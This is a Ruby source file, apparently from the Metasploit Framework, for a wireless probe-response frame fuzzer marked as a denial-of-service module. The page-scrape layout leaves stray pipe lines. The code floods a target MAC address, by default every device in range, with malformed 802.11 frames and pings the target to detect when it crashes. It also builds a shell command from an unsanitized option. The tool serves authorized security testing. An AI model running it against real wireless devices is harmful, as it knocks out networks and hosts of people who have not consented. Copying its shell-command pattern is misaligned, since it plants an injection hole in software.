134 lines
2.8 KiB
Ruby
134 lines
2.8 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Lorcon2
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Wireless Probe Response Frame Fuzzer',
|
|
'Description' => %q{
|
|
This module sends out corrupted probe response frames.
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$'
|
|
))
|
|
register_options(
|
|
[
|
|
OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']),
|
|
OptString.new('PING_HOST', [ false, "Ping the wired address of the target host"])
|
|
], self.class)
|
|
end
|
|
|
|
def ping_check
|
|
1.upto(3) do |i|
|
|
x = `ping -c 1 -n #{datastore['PING_HOST']}`
|
|
return true if x =~ /1 received/
|
|
if (i > 1)
|
|
print_status("Host missed a ping response...")
|
|
end
|
|
end
|
|
return false
|
|
end
|
|
|
|
def run
|
|
|
|
srand(0)
|
|
|
|
@@uni = 0
|
|
|
|
frames = []
|
|
|
|
open_wifi
|
|
|
|
print_status("Sending corrupt frames...")
|
|
|
|
while (true)
|
|
frame = create_frame()
|
|
|
|
if (datastore['PING_HOST'])
|
|
|
|
if (frames.length >= 5)
|
|
frames.shift
|
|
frames.push(frame)
|
|
else
|
|
frames.push(frame)
|
|
end
|
|
|
|
1.upto(10) do
|
|
wifi.write(frame)
|
|
if (not ping_check())
|
|
frames.each do |f|
|
|
print_status "****************************************"
|
|
print_status f.inspect
|
|
end
|
|
return
|
|
end
|
|
end
|
|
else
|
|
wifi.write(frame)
|
|
end
|
|
end
|
|
end
|
|
|
|
def create_frame
|
|
mtu = 500
|
|
ies = rand(1024)
|
|
|
|
bssid = Rex::Text.rand_text(6)
|
|
seq = [rand(255)].pack('n')
|
|
|
|
frame =
|
|
"\x50" + # type/subtype
|
|
"\x00" + # flags
|
|
"\x00\x00" + # duration
|
|
eton(datastore['ADDR_DST']) + # dst
|
|
bssid + # src
|
|
bssid + # bssid
|
|
seq + # seq
|
|
Rex::Text.rand_text(8) + # timestamp value
|
|
Rex::Text.rand_text(2) + # beacon interval
|
|
Rex::Text.rand_text(2) # capability flags
|
|
|
|
ssid = Rex::Text.rand_text_alphanumeric(rand(256))
|
|
|
|
# ssid tag
|
|
frame << "\x00" + ssid.length.chr + ssid
|
|
|
|
# supported rates
|
|
frame << "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48"
|
|
|
|
# current channel
|
|
frame << "\x03" + "\x01" + channel.chr
|
|
|
|
1.upto(ies) do |i|
|
|
max = mtu - frame.length
|
|
break if max < 2
|
|
t = rand(256)
|
|
l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1)
|
|
d = Rex::Text.rand_text(l)
|
|
frame += t.chr + l.chr + d
|
|
end
|
|
|
|
return frame
|
|
|
|
end
|
|
|
|
end
|